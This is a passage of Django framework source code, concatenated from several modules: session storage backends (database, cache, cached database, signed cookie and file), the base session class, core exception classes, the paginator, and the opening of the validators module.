                              "expired sessions.\n" % settings.SESSION_ENGINE)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.sessions.models
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Session',
            fields=[
                ('session_key', models.CharField(
                    max_length=40, serialize=False, verbose_name='session key', primary_key=True
                )),
                ('session_data', models.TextField(verbose_name='session data')),
                ('expire_date', models.DateTimeField(verbose_name='expire date', db_index=True)),
            ],
            options={
                'abstract': False,
                'db_table': 'django_session',
                'verbose_name': 'session',
                'verbose_name_plural': 'sessions',
            },
            managers=[
                ('objects', django.contrib.sessions.models.SessionManager()),
            ],
        ),
    ]












"""
Cached, database-backed sessions.
"""

import logging

from django.conf import settings
from django.contrib.sessions.backends.db import SessionStore as DBStore
from django.core.cache import caches
from django.core.exceptions import SuspiciousOperation
from django.utils import timezone
from django.utils.encoding import force_text

KEY_PREFIX = "django.contrib.sessions.cached_db"


class SessionStore(DBStore):
    """
    Implements cached, database backed sessions.
    """
    cache_key_prefix = KEY_PREFIX

    def __init__(self, session_key=None):
        self._cache = caches[settings.SESSION_CACHE_ALIAS]
        super(SessionStore, self).__init__(session_key)

    @property
    def cache_key(self):
        return self.cache_key_prefix + self._get_or_create_session_key()

    def load(self):
        try:
            data = self._cache.get(self.cache_key)
        except Exception:
            # Some backends (e.g. memcache) raise an exception on invalid
            # cache keys. If this happens, reset the session. See #17810.
            data = None

        if data is None:
            # Duplicate DBStore.load, because we need to keep track
            # of the expiry date to set it properly in the cache.
            try:
                s = self.model.objects.get(
                    session_key=self.session_key,
                    expire_date__gt=timezone.now()
                )
                data = self.decode(s.session_data)
                self._cache.set(self.cache_key, data, self.get_expiry_age(expiry=s.expire_date))
            except (self.model.DoesNotExist, SuspiciousOperation) as e:
                if isinstance(e, SuspiciousOperation):
                    logger = logging.getLogger('django.security.%s' % e.__class__.__name__)
                    logger.warning(force_text(e))
                self._session_key = None
                data = {}
        return data

    def exists(self, session_key):
        if session_key and (self.cache_key_prefix + session_key) in self._cache:
            return True
        return super(SessionStore, self).exists(session_key)

    def save(self, must_create=False):
        super(SessionStore, self).save(must_create)
        self._cache.set(self.cache_key, self._session, self.get_expiry_age())

    def delete(self, session_key=None):
        super(SessionStore, self).delete(session_key)
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        self._cache.delete(self.cache_key_prefix + session_key)

    def flush(self):
        """
        Removes the current session data from the database and regenerates the
        key.
        """
        self.clear()
        self.delete(self.session_key)
        self._session_key = None






from django.conf import settings
from django.contrib.sessions.backends.base import SessionBase
from django.core import signing


class SessionStore(SessionBase):

    def load(self):
        """
        We load the data from the key itself instead of fetching from
        some external data store. Opposite of _get_session_key(),
        raises BadSignature if signature fails.
        """
        try:
            return signing.loads(
                self.session_key,
                serializer=self.serializer,
                # This doesn't handle non-default expiry dates, see #19201
                max_age=settings.SESSION_COOKIE_AGE,
                salt='django.contrib.sessions.backends.signed_cookies',
            )
        except Exception:
            # BadSignature, ValueError, or unpickling exceptions. If any of
            # these happen, reset the session.
            self.create()
        return {}

    def create(self):
        """
        To create a new key, we simply make sure that the modified flag is set
        so that the cookie is set on the client for the current request.
        """
        self.modified = True

    def save(self, must_create=False):
        """
        To save, we get the session key as a securely signed string and then
        set the modified flag so that the cookie is set on the client for the
        current request.
        """
        self._session_key = self._get_session_key()
        self.modified = True

    def exists(self, session_key=None):
        """
        This method makes sense when you're talking to a shared resource, but
        it doesn't matter when you're storing the information in the client's
        cookie.
        """
        return False

    def delete(self, session_key=None):
        """
        To delete, we clear the session key and the underlying data structure
        and set the modified flag so that the cookie is set on the client for
        the current request.
        """
        self._session_key = ''
        self._session_cache = {}
        self.modified = True

    def cycle_key(self):
        """
        Keeps the same data but with a new key.  To do this, we just have to
        call ``save()`` and it will automatically save a cookie with a new key
        at the end of the request.
        """
        self.save()

    def _get_session_key(self):
        """
        Most session backends don't need to override this method, but we do,
        because instead of generating a random string, we want to actually
        generate a secure url-safe Base64-encoded string of data as our
        session key.
        """
        session_cache = getattr(self, '_session_cache', {})
        return signing.dumps(
            session_cache, compress=True,
            salt='django.contrib.sessions.backends.signed_cookies',
            serializer=self.serializer,
        )

    @classmethod
    def clear_expired(cls):
        pass






from __future__ import unicode_literals

import base64
import logging
import string
from datetime import datetime, timedelta

from django.conf import settings
from django.contrib.sessions.exceptions import SuspiciousSession
from django.core.exceptions import SuspiciousOperation
from django.utils import timezone
from django.utils.crypto import (
    constant_time_compare, get_random_string, salted_hmac,
)
from django.utils.encoding import force_bytes, force_text
from django.utils.module_loading import import_string

# session_key should not be case sensitive because some backends can store it
# on case insensitive file systems.
VALID_KEY_CHARS = string.ascii_lowercase + string.digits


class CreateError(Exception):
    """
    Used internally as a consistent exception type to catch from save (see the
    docstring for SessionBase.save() for details).
    """
    pass


class UpdateError(Exception):
    """
    Occurs if Django tries to update a session that was deleted.
    """
    pass


class SessionBase(object):
    """
    Base class for all Session classes.
    """
    TEST_COOKIE_NAME = 'testcookie'
    TEST_COOKIE_VALUE = 'worked'

    __not_given = object()

    def __init__(self, session_key=None):
        self._session_key = session_key
        self.accessed = False
        self.modified = False
        self.serializer = import_string(settings.SESSION_SERIALIZER)

    def __contains__(self, key):
        return key in self._session

    def __getitem__(self, key):
        return self._session[key]

    def __setitem__(self, key, value):
        self._session[key] = value
        self.modified = True

    def __delitem__(self, key):
        del self._session[key]
        self.modified = True

    def get(self, key, default=None):
        return self._session.get(key, default)

    def pop(self, key, default=__not_given):
        self.modified = self.modified or key in self._session
        args = () if default is self.__not_given else (default,)
        return self._session.pop(key, *args)

    def setdefault(self, key, value):
        if key in self._session:
            return self._session[key]
        else:
            self.modified = True
            self._session[key] = value
            return value

    def set_test_cookie(self):
        self[self.TEST_COOKIE_NAME] = self.TEST_COOKIE_VALUE

    def test_cookie_worked(self):
        return self.get(self.TEST_COOKIE_NAME) == self.TEST_COOKIE_VALUE

    def delete_test_cookie(self):
        del self[self.TEST_COOKIE_NAME]

    def _hash(self, value):
        key_salt = "django.contrib.sessions" + self.__class__.__name__
        return salted_hmac(key_salt, value).hexdigest()

    def encode(self, session_dict):
        "Returns the given session dictionary serialized and encoded as a string."
        serialized = self.serializer().dumps(session_dict)
        hash = self._hash(serialized)
        return base64.b64encode(hash.encode() + b":" + serialized).decode('ascii')

    def decode(self, session_data):
        encoded_data = base64.b64decode(force_bytes(session_data))
        try:
            # could produce ValueError if there is no ':'
            hash, serialized = encoded_data.split(b':', 1)
            expected_hash = self._hash(serialized)
            if not constant_time_compare(hash.decode(), expected_hash):
                raise SuspiciousSession("Session data corrupted")
            else:
                return self.serializer().loads(serialized)
        except Exception as e:
            # ValueError, SuspiciousOperation, unpickling exceptions. If any of
            # these happen, just return an empty dictionary (an empty session).
            if isinstance(e, SuspiciousOperation):
                logger = logging.getLogger('django.security.%s' % e.__class__.__name__)
                logger.warning(force_text(e))
            return {}

    def update(self, dict_):
        self._session.update(dict_)
        self.modified = True

    def has_key(self, key):
        return key in self._session

    def keys(self):
        return self._session.keys()

    def values(self):
        return self._session.values()

    def items(self):
        return self._session.items()

    def iterkeys(self):
        return self._session.iterkeys()

    def itervalues(self):
        return self._session.itervalues()

    def iteritems(self):
        return self._session.iteritems()

    def clear(self):
        # To avoid unnecessary persistent storage accesses, we set up the
        # internals directly (loading data wastes time, since we are going to
        # set it to an empty dict anyway).
        self._session_cache = {}
        self.accessed = True
        self.modified = True

    def is_empty(self):
        "Returns True when there is no session_key and the session is empty"
        try:
            return not bool(self._session_key) and not self._session_cache
        except AttributeError:
            return True

    def _get_new_session_key(self):
        "Returns session key that isn't being used."
        while True:
            session_key = get_random_string(32, VALID_KEY_CHARS)
            if not self.exists(session_key):
                break
        return session_key

    def _get_or_create_session_key(self):
        if self._session_key is None:
            self._session_key = self._get_new_session_key()
        return self._session_key

    def _validate_session_key(self, key):
        """
        Key must be truthy and at least 8 characters long. 8 characters is an
        arbitrary lower bound for some minimal key security.
        """
        return key and len(key) >= 8

    def _get_session_key(self):
        return self.__session_key

    def _set_session_key(self, value):
        """
        Validate session key on assignment. Invalid values will set to None.
        """
        if self._validate_session_key(value):
            self.__session_key = value
        else:
            self.__session_key = None

    session_key = property(_get_session_key)
    _session_key = property(_get_session_key, _set_session_key)

    def _get_session(self, no_load=False):
        """
        Lazily loads session from storage (unless "no_load" is True, when only
        an empty dict is stored) and stores it in the current instance.
        """
        self.accessed = True
        try:
            return self._session_cache
        except AttributeError:
            if self.session_key is None or no_load:
                self._session_cache = {}
            else:
                self._session_cache = self.load()
        return self._session_cache

    _session = property(_get_session)

    def get_expiry_age(self, **kwargs):
        """Get the number of seconds until the session expires.

        Optionally, this function accepts `modification` and `expiry` keyword
        arguments specifying the modification and expiry of the session.
        """
        try:
            modification = kwargs['modification']
        except KeyError:
            modification = timezone.now()
        # Make the difference between "expiry=None passed in kwargs" and
        # "expiry not passed in kwargs", in order to guarantee not to trigger
        # self.load() when expiry is provided.
        try:
            expiry = kwargs['expiry']
        except KeyError:
            expiry = self.get('_session_expiry')

        if not expiry:   # Checks both None and 0 cases
            return settings.SESSION_COOKIE_AGE
        if not isinstance(expiry, datetime):
            return expiry
        delta = expiry - modification
        return delta.days * 86400 + delta.seconds

    def get_expiry_date(self, **kwargs):
        """Get session the expiry date (as a datetime object).

        Optionally, this function accepts `modification` and `expiry` keyword
        arguments specifying the modification and expiry of the session.
        """
        try:
            modification = kwargs['modification']
        except KeyError:
            modification = timezone.now()
        # Same comment as in get_expiry_age
        try:
            expiry = kwargs['expiry']
        except KeyError:
            expiry = self.get('_session_expiry')

        if isinstance(expiry, datetime):
            return expiry
        if not expiry:   # Checks both None and 0 cases
            expiry = settings.SESSION_COOKIE_AGE
        return modification + timedelta(seconds=expiry)

    def set_expiry(self, value):
        """
        Sets a custom expiration for the session. ``value`` can be an integer,
        a Python ``datetime`` or ``timedelta`` object or ``None``.

        If ``value`` is an integer, the session will expire after that many
        seconds of inactivity. If set to ``0`` then the session will expire on
        browser close.

        If ``value`` is a ``datetime`` or ``timedelta`` object, the session
        will expire at that specific future time.

        If ``value`` is ``None``, the session uses the global session expiry
        policy.
        """
        if value is None:
            # Remove any custom expiration for this session.
            try:
                del self['_session_expiry']
            except KeyError:
                pass
            return
        if isinstance(value, timedelta):
            value = timezone.now() + value
        self['_session_expiry'] = value

    def get_expire_at_browser_close(self):
        """
        Returns ``True`` if the session is set to expire when the browser
        closes, and ``False`` if there's an expiry date. Use
        ``get_expiry_date()`` or ``get_expiry_age()`` to find the actual expiry
        date/age, if there is one.
        """
        if self.get('_session_expiry') is None:
            return settings.SESSION_EXPIRE_AT_BROWSER_CLOSE
        return self.get('_session_expiry') == 0

    def flush(self):
        """
        Removes the current session data from the database and regenerates the
        key.
        """
        self.clear()
        self.delete()
        self._session_key = None

    def cycle_key(self):
        """
        Creates a new session key, while retaining the current session data.
        """
        try:
            data = self._session_cache
        except AttributeError:
            data = {}
        key = self.session_key
        self.create()
        self._session_cache = data
        if key:
            self.delete(key)

    # Methods that child classes must implement.

    def exists(self, session_key):
        """
        Returns True if the given session_key already exists.
        """
        raise NotImplementedError('subclasses of SessionBase must provide an exists() method')

    def create(self):
        """
        Creates a new session instance. Guaranteed to create a new object with
        a unique key and will have saved the result once (with empty data)
        before the method returns.
        """
        raise NotImplementedError('subclasses of SessionBase must provide a create() method')

    def save(self, must_create=False):
        """
        Saves the session data. If 'must_create' is True, a new session object
        is created (otherwise a CreateError exception is raised). Otherwise,
        save() only updates an existing object and does not create one
        (an UpdateError is raised).
        """
        raise NotImplementedError('subclasses of SessionBase must provide a save() method')

    def delete(self, session_key=None):
        """
        Deletes the session data under this key. If the key is None, the
        current session key value is used.
        """
        raise NotImplementedError('subclasses of SessionBase must provide a delete() method')

    def load(self):
        """
        Loads the session data and returns a dictionary.
        """
        raise NotImplementedError('subclasses of SessionBase must provide a load() method')

    @classmethod
    def clear_expired(cls):
        """
        Remove expired sessions from the session store.

        If this operation isn't possible on a given backend, it should raise
        NotImplementedError. If it isn't necessary, because the backend has
        a built-in expiration mechanism, it should be a no-op.
        """
        raise NotImplementedError('This backend does not support clear_expired().')






import logging

from django.contrib.sessions.backends.base import (
    CreateError, SessionBase, UpdateError,
)
from django.core.exceptions import SuspiciousOperation
from django.db import DatabaseError, IntegrityError, router, transaction
from django.utils import timezone
from django.utils.encoding import force_text
from django.utils.functional import cached_property


class SessionStore(SessionBase):
    """
    Implements database session store.
    """
    def __init__(self, session_key=None):
        super(SessionStore, self).__init__(session_key)

    @classmethod
    def get_model_class(cls):
        # Avoids a circular import and allows importing SessionStore when
        # django.contrib.sessions is not in INSTALLED_APPS.
        from django.contrib.sessions.models import Session
        return Session

    @cached_property
    def model(self):
        return self.get_model_class()

    def load(self):
        try:
            s = self.model.objects.get(
                session_key=self.session_key,
                expire_date__gt=timezone.now()
            )
            return self.decode(s.session_data)
        except (self.model.DoesNotExist, SuspiciousOperation) as e:
            if isinstance(e, SuspiciousOperation):
                logger = logging.getLogger('django.security.%s' % e.__class__.__name__)
                logger.warning(force_text(e))
            self._session_key = None
            return {}

    def exists(self, session_key):
        return self.model.objects.filter(session_key=session_key).exists()

    def create(self):
        while True:
            self._session_key = self._get_new_session_key()
            try:
                # Save immediately to ensure we have a unique entry in the
                # database.
                self.save(must_create=True)
            except CreateError:
                # Key wasn't unique. Try again.
                continue
            self.modified = True
            return

    def create_model_instance(self, data):
        """
        Return a new instance of the session model object, which represents the
        current session state. Intended to be used for saving the session data
        to the database.
        """
        return self.model(
            session_key=self._get_or_create_session_key(),
            session_data=self.encode(data),
            expire_date=self.get_expiry_date(),
        )

    def save(self, must_create=False):
        """
        Saves the current session data to the database. If 'must_create' is
        True, a database error will be raised if the saving operation doesn't
        create a *new* entry (as opposed to possibly updating an existing
        entry).
        """
        if self.session_key is None:
            return self.create()
        data = self._get_session(no_load=must_create)
        obj = self.create_model_instance(data)
        using = router.db_for_write(self.model, instance=obj)
        try:
            with transaction.atomic(using=using):
                obj.save(force_insert=must_create, force_update=not must_create, using=using)
        except IntegrityError:
            if must_create:
                raise CreateError
            raise
        except DatabaseError:
            if not must_create:
                raise UpdateError
            raise

    def delete(self, session_key=None):
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        try:
            self.model.objects.get(session_key=session_key).delete()
        except self.model.DoesNotExist:
            pass

    @classmethod
    def clear_expired(cls):
        cls.get_model_class().objects.filter(expire_date__lt=timezone.now()).delete()






from django.conf import settings
from django.contrib.sessions.backends.base import (
    CreateError, SessionBase, UpdateError,
)
from django.core.cache import caches
from django.utils.six.moves import range

KEY_PREFIX = "django.contrib.sessions.cache"


class SessionStore(SessionBase):
    """
    A cache-based session store.
    """
    cache_key_prefix = KEY_PREFIX

    def __init__(self, session_key=None):
        self._cache = caches[settings.SESSION_CACHE_ALIAS]
        super(SessionStore, self).__init__(session_key)

    @property
    def cache_key(self):
        return self.cache_key_prefix + self._get_or_create_session_key()

    def load(self):
        try:
            session_data = self._cache.get(self.cache_key)
        except Exception:
            # Some backends (e.g. memcache) raise an exception on invalid
            # cache keys. If this happens, reset the session. See #17810.
            session_data = None
        if session_data is not None:
            return session_data
        self._session_key = None
        return {}

    def create(self):
        # Because a cache can fail silently (e.g. memcache), we don't know if
        # we are failing to create a new session because of a key collision or
        # because the cache is missing. So we try for a (large) number of times
        # and then raise an exception. That's the risk you shoulder if using
        # cache backing.
        for i in range(10000):
            self._session_key = self._get_new_session_key()
            try:
                self.save(must_create=True)
            except CreateError:
                continue
            self.modified = True
            return
        raise RuntimeError(
            "Unable to create a new session key. "
            "It is likely that the cache is unavailable.")

    def save(self, must_create=False):
        if self.session_key is None:
            return self.create()
        if must_create:
            func = self._cache.add
        elif self._cache.get(self.cache_key) is not None:
            func = self._cache.set
        else:
            raise UpdateError
        result = func(self.cache_key,
                      self._get_session(no_load=must_create),
                      self.get_expiry_age())
        if must_create and not result:
            raise CreateError

    def exists(self, session_key):
        return session_key and (self.cache_key_prefix + session_key) in self._cache

    def delete(self, session_key=None):
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        self._cache.delete(self.cache_key_prefix + session_key)

    @classmethod
    def clear_expired(cls):
        pass






import datetime
import errno
import logging
import os
import shutil
import tempfile

from django.conf import settings
from django.contrib.sessions.backends.base import (
    VALID_KEY_CHARS, CreateError, SessionBase, UpdateError,
)
from django.contrib.sessions.exceptions import InvalidSessionKey
from django.core.exceptions import ImproperlyConfigured, SuspiciousOperation
from django.utils import timezone
from django.utils.encoding import force_text


class SessionStore(SessionBase):
    """
    Implements a file based session store.
    """
    def __init__(self, session_key=None):
        self.storage_path = type(self)._get_storage_path()
        self.file_prefix = settings.SESSION_COOKIE_NAME
        super(SessionStore, self).__init__(session_key)

    @classmethod
    def _get_storage_path(cls):
        try:
            return cls._storage_path
        except AttributeError:
            storage_path = getattr(settings, "SESSION_FILE_PATH", None)
            if not storage_path:
                storage_path = tempfile.gettempdir()

            # Make sure the storage path is valid.
            if not os.path.isdir(storage_path):
                raise ImproperlyConfigured(
                    "The session storage path %r doesn't exist. Please set your"
                    " SESSION_FILE_PATH setting to an existing directory in which"
                    " Django can store session data." % storage_path)

            cls._storage_path = storage_path
            return storage_path

    def _key_to_file(self, session_key=None):
        """
        Get the file associated with this session key.
        """
        if session_key is None:
            session_key = self._get_or_create_session_key()

        # Make sure we're not vulnerable to directory traversal. Session keys
        # should always be md5s, so they should never contain directory
        # components.
        if not set(session_key).issubset(set(VALID_KEY_CHARS)):
            raise InvalidSessionKey(
                "Invalid characters in session key")

        return os.path.join(self.storage_path, self.file_prefix + session_key)

    def _last_modification(self):
        """
        Return the modification time of the file storing the session's content.
        """
        modification = os.stat(self._key_to_file()).st_mtime
        if settings.USE_TZ:
            modification = datetime.datetime.utcfromtimestamp(modification)
            modification = modification.replace(tzinfo=timezone.utc)
        else:
            modification = datetime.datetime.fromtimestamp(modification)
        return modification

    def _expiry_date(self, session_data):
        """
        Return the expiry time of the file storing the session's content.
        """
        expiry = session_data.get('_session_expiry')
        if not expiry:
            expiry = self._last_modification() + datetime.timedelta(seconds=settings.SESSION_COOKIE_AGE)
        return expiry

    def load(self):
        session_data = {}
        try:
            with open(self._key_to_file(), "rb") as session_file:
                file_data = session_file.read()
            # Don't fail if there is no data in the session file.
            # We may have opened the empty placeholder file.
            if file_data:
                try:
                    session_data = self.decode(file_data)
                except (EOFError, SuspiciousOperation) as e:
                    if isinstance(e, SuspiciousOperation):
                        logger = logging.getLogger('django.security.%s' % e.__class__.__name__)
                        logger.warning(force_text(e))
                    self.create()

                # Remove expired sessions.
                expiry_age = self.get_expiry_age(expiry=self._expiry_date(session_data))
                if expiry_age <= 0:
                    session_data = {}
                    self.delete()
                    self.create()
        except (IOError, SuspiciousOperation):
            self._session_key = None
        return session_data

    def create(self):
        while True:
            self._session_key = self._get_new_session_key()
            try:
                self.save(must_create=True)
            except CreateError:
                continue
            self.modified = True
            return

    def save(self, must_create=False):
        if self.session_key is None:
            return self.create()
        # Get the session data now, before we start messing
        # with the file it is stored within.
        session_data = self._get_session(no_load=must_create)

        session_file_name = self._key_to_file()

        try:
            # Make sure the file exists.  If it does not already exist, an
            # empty placeholder file is created.
            flags = os.O_WRONLY | getattr(os, 'O_BINARY', 0)
            if must_create:
                flags |= os.O_EXCL | os.O_CREAT
            fd = os.open(session_file_name, flags)
            os.close(fd)

        except OSError as e:
            if must_create and e.errno == errno.EEXIST:
                raise CreateError
            if not must_create and e.errno == errno.ENOENT:
                raise UpdateError
            raise

        # Write the session file without interfering with other threads
        # or processes.  By writing to an atomically generated temporary
        # file and then using the atomic os.rename() to make the complete
        # file visible, we avoid having to lock the session file, while
        # still maintaining its integrity.
        #
        # Note: Locking the session file was explored, but rejected in part
        # because in order to be atomic and cross-platform, it required a
        # long-lived lock file for each session, doubling the number of
        # files in the session storage directory at any given time.  This
        # rename solution is cleaner and avoids any additional overhead
        # when reading the session data, which is the more common case
        # unless SESSION_SAVE_EVERY_REQUEST = True.
        #
        # See ticket #8616.
        dir, prefix = os.path.split(session_file_name)

        try:
            output_file_fd, output_file_name = tempfile.mkstemp(dir=dir, prefix=prefix + '_out_')
            renamed = False
            try:
                try:
                    os.write(output_file_fd, self.encode(session_data).encode())
                finally:
                    os.close(output_file_fd)

                # This will atomically rename the file (os.rename) if the OS
                # supports it. Otherwise this will result in a shutil.copy2
                # and os.unlink (for example on Windows). See #9084.
                shutil.move(output_file_name, session_file_name)
                renamed = True
            finally:
                if not renamed:
                    os.unlink(output_file_name)

        except (OSError, IOError, EOFError):
            pass

    def exists(self, session_key):
        return os.path.exists(self._key_to_file(session_key))

    def delete(self, session_key=None):
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        try:
            os.unlink(self._key_to_file(session_key))
        except OSError:
            pass

    def clean(self):
        pass

    @classmethod
    def clear_expired(cls):
        storage_path = cls._get_storage_path()
        file_prefix = settings.SESSION_COOKIE_NAME

        for session_file in os.listdir(storage_path):
            if not session_file.startswith(file_prefix):
                continue
            session_key = session_file[len(file_prefix):]
            session = cls(session_key)
            # When an expired session is loaded, its file is removed, and a
            # new file is immediately created. Prevent this by disabling
            # the create() method.
            session.create = lambda: None
            session.load()












"""
Global Django exception and warning classes.
"""
from django.utils import six
from django.utils.encoding import force_text


class FieldDoesNotExist(Exception):
    """The requested model field does not exist"""
    pass


class DjangoRuntimeWarning(RuntimeWarning):
    pass


class AppRegistryNotReady(Exception):
    """The django.apps registry is not populated yet"""
    pass


class ObjectDoesNotExist(Exception):
    """The requested object does not exist"""
    silent_variable_failure = True


class MultipleObjectsReturned(Exception):
    """The query returned multiple objects when only one was expected."""
    pass


class SuspiciousOperation(Exception):
    """The user did something suspicious"""


class SuspiciousMultipartForm(SuspiciousOperation):
    """Suspect MIME request in multipart form data"""
    pass


class SuspiciousFileOperation(SuspiciousOperation):
    """A Suspicious filesystem operation was attempted"""
    pass


class DisallowedHost(SuspiciousOperation):
    """HTTP_HOST header contains invalid value"""
    pass


class DisallowedRedirect(SuspiciousOperation):
    """Redirect to scheme not in allowed list"""
    pass


class TooManyFieldsSent(SuspiciousOperation):
    """
    The number of fields in a POST request exceeded
    settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.
    """
    pass


class RequestDataTooBig(SuspiciousOperation):
    """
    The size of the request (excluding any file uploads) exceeded
    settings.DATA_UPLOAD_MAX_MEMORY_SIZE.
    """
    pass


class PermissionDenied(Exception):
    """The user did not have permission to do that"""
    pass


class ViewDoesNotExist(Exception):
    """The requested view does not exist"""
    pass


class MiddlewareNotUsed(Exception):
    """This middleware is not used in this server configuration"""
    pass


class ImproperlyConfigured(Exception):
    """Django is somehow improperly configured"""
    pass


class FieldError(Exception):
    """Some kind of problem with a model field."""
    pass


NON_FIELD_ERRORS = '__all__'


class ValidationError(Exception):
    """An error while validating data."""
    def __init__(self, message, code=None, params=None):
        """
        The `message` argument can be a single error, a list of errors, or a
        dictionary that maps field names to lists of errors. What we define as
        an "error" can be either a simple string or an instance of
        ValidationError with its message attribute set, and what we define as
        list or dictionary can be an actual `list` or `dict` or an instance
        of ValidationError with its `error_list` or `error_dict` attribute set.
        """

        # PY2 can't pickle naive exception: http://bugs.python.org/issue1692335.
        super(ValidationError, self).__init__(message, code, params)

        if isinstance(message, ValidationError):
            if hasattr(message, 'error_dict'):
                message = message.error_dict
            # PY2 has a `message` property which is always there so we can't
            # duck-type on it. It was introduced in Python 2.5 and already
            # deprecated in Python 2.6.
            elif not hasattr(message, 'message' if six.PY3 else 'code'):
                message = message.error_list
            else:
                message, code, params = message.message, message.code, message.params

        if isinstance(message, dict):
            self.error_dict = {}
            for field, messages in message.items():
                if not isinstance(messages, ValidationError):
                    messages = ValidationError(messages)
                self.error_dict[field] = messages.error_list

        elif isinstance(message, list):
            self.error_list = []
            for message in message:
                # Normalize plain strings to instances of ValidationError.
                if not isinstance(message, ValidationError):
                    message = ValidationError(message)
                if hasattr(message, 'error_dict'):
                    self.error_list.extend(sum(message.error_dict.values(), []))
                else:
                    self.error_list.extend(message.error_list)

        else:
            self.message = message
            self.code = code
            self.params = params
            self.error_list = [self]

    @property
    def message_dict(self):
        # Trigger an AttributeError if this ValidationError
        # doesn't have an error_dict.
        getattr(self, 'error_dict')

        return dict(self)

    @property
    def messages(self):
        if hasattr(self, 'error_dict'):
            return sum(dict(self).values(), [])
        return list(self)

    def update_error_dict(self, error_dict):
        if hasattr(self, 'error_dict'):
            for field, error_list in self.error_dict.items():
                error_dict.setdefault(field, []).extend(error_list)
        else:
            error_dict.setdefault(NON_FIELD_ERRORS, []).extend(self.error_list)
        return error_dict

    def __iter__(self):
        if hasattr(self, 'error_dict'):
            for field, errors in self.error_dict.items():
                yield field, list(ValidationError(errors))
        else:
            for error in self.error_list:
                message = error.message
                if error.params:
                    message %= error.params
                yield force_text(message)

    def __str__(self):
        if hasattr(self, 'error_dict'):
            return repr(dict(self))
        return repr(list(self))

    def __repr__(self):
        return 'ValidationError(%s)' % self


class EmptyResultSet(Exception):
    """A database query predicate is impossible."""
    pass






import collections
import warnings
from math import ceil

from django.utils import six
from django.utils.functional import cached_property


class UnorderedObjectListWarning(RuntimeWarning):
    pass


class InvalidPage(Exception):
    pass


class PageNotAnInteger(InvalidPage):
    pass


class EmptyPage(InvalidPage):
    pass


class Paginator(object):

    def __init__(self, object_list, per_page, orphans=0,
                 allow_empty_first_page=True):
        self.object_list = object_list
        self._check_object_list_is_ordered()
        self.per_page = int(per_page)
        self.orphans = int(orphans)
        self.allow_empty_first_page = allow_empty_first_page

    def validate_number(self, number):
        """
        Validates the given 1-based page number.
        """
        try:
            number = int(number)
        except (TypeError, ValueError):
            raise PageNotAnInteger('That page number is not an integer')
        if number < 1:
            raise EmptyPage('That page number is less than 1')
        if number > self.num_pages:
            if number == 1 and self.allow_empty_first_page:
                pass
            else:
                raise EmptyPage('That page contains no results')
        return number

    def page(self, number):
        """
        Returns a Page object for the given 1-based page number.
        """
        number = self.validate_number(number)
        bottom = (number - 1) * self.per_page
        top = bottom + self.per_page
        if top + self.orphans >= self.count:
            top = self.count
        return self._get_page(self.object_list[bottom:top], number, self)

    def _get_page(self, *args, **kwargs):
        """
        Returns an instance of a single page.

        This hook can be used by subclasses to use an alternative to the
        standard :cls:`Page` object.
        """
        return Page(*args, **kwargs)

    @cached_property
    def count(self):
        """
        Returns the total number of objects, across all pages.
        """
        try:
            return self.object_list.count()
        except (AttributeError, TypeError):
            # AttributeError if object_list has no count() method.
            # TypeError if object_list.count() requires arguments
            # (i.e. is of type list).
            return len(self.object_list)

    @cached_property
    def num_pages(self):
        """
        Returns the total number of pages.
        """
        if self.count == 0 and not self.allow_empty_first_page:
            return 0
        hits = max(1, self.count - self.orphans)
        return int(ceil(hits / float(self.per_page)))

    @property
    def page_range(self):
        """
        Returns a 1-based range of pages for iterating through within
        a template for loop.
        """
        return six.moves.range(1, self.num_pages + 1)

    def _check_object_list_is_ordered(self):
        """
        Warn if self.object_list is unordered (typically a QuerySet).
        """
        if hasattr(self.object_list, 'ordered') and not self.object_list.ordered:
            warnings.warn(
                'Pagination may yield inconsistent results with an unordered '
                'object_list: {!r}'.format(self.object_list),
                UnorderedObjectListWarning
            )


QuerySetPaginator = Paginator   # For backwards-compatibility.


class Page(collections.Sequence):

    def __init__(self, object_list, number, paginator):
        self.object_list = object_list
        self.number = number
        self.paginator = paginator

    def __repr__(self):
        return '<Page %s of %s>' % (self.number, self.paginator.num_pages)

    def __len__(self):
        return len(self.object_list)

    def __getitem__(self, index):
        if not isinstance(index, (slice,) + six.integer_types):
            raise TypeError
        # The object_list is converted to a list so that if it was a QuerySet
        # it won't be a database hit per __getitem__.
        if not isinstance(self.object_list, list):
            self.object_list = list(self.object_list)
        return self.object_list[index]

    def has_next(self):
        return self.number < self.paginator.num_pages

    def has_previous(self):
        return self.number > 1

    def has_other_pages(self):
        return self.has_previous() or self.has_next()

    def next_page_number(self):
        return self.paginator.validate_number(self.number + 1)

    def previous_page_number(self):
        return self.paginator.validate_number(self.number - 1)

    def start_index(self):
        """
        Returns the 1-based index of the first object on this page,
        relative to total objects in the paginator.
        """
        # Special case, return zero if no items.
        if self.paginator.count == 0:
            return 0
        return (self.paginator.per_page * (self.number - 1)) + 1

    def end_index(self):
        """
        Returns the 1-based index of the last object on this page,
        relative to total objects found (hits).
        """
        # Special case for the last page because there can be orphans.
        if self.number == self.paginator.num_pages:
            return self.paginator.count
        return self.number * self.paginator.per_page






from __future__ import unicode_literals

import os
import re

from django.core.exceptions import ValidationError
from django.utils import six
from django.utils.deconstruct import deconstructible
from django.utils.encoding import force_text
from django.utils.functional import SimpleLazyObject
from django.utils.ipv6 import is_valid_ipv6_address
from django.utils.six.moves.urllib.parse import urlsplit, urlunsplit
from django.utils.translation import ugettext_lazy as _, ungettext_lazy

# These values, if given to validate(), will trigger the self.required check.
EMPTY_VALUES = (None, '', [], (), {})


def _lazy_re_compile(regex, flags=0):
    """Lazily compile a regex with flags."""
    def _compile():
        # Compile the regex if it was not passed pre-compiled.
        if isinstance(regex, six.string_types):
            return re.compile(regex, flags)
        else:
            assert not flags, "flags must be empty if regex is passed pre-compiled"
            return regex
    return SimpleLazyObject(_compile)


@deconstructible
class RegexValidator(object):
    regex = ''
    message = _('Enter a valid value.')
    code = 'invalid'
    inverse_match = False
    flags = 0

    def __init__(self, regex=None, message=None, code=None, inverse_match=None, flags=None):
        if regex is not None:
            self.regex = regex
        if message is not None:
            self.message = message
        if code is not None:
            self.code = code
        if inverse_match is not None:
            self.inverse_match = inverse_match
        if flags is not None:
            self.flags = flags
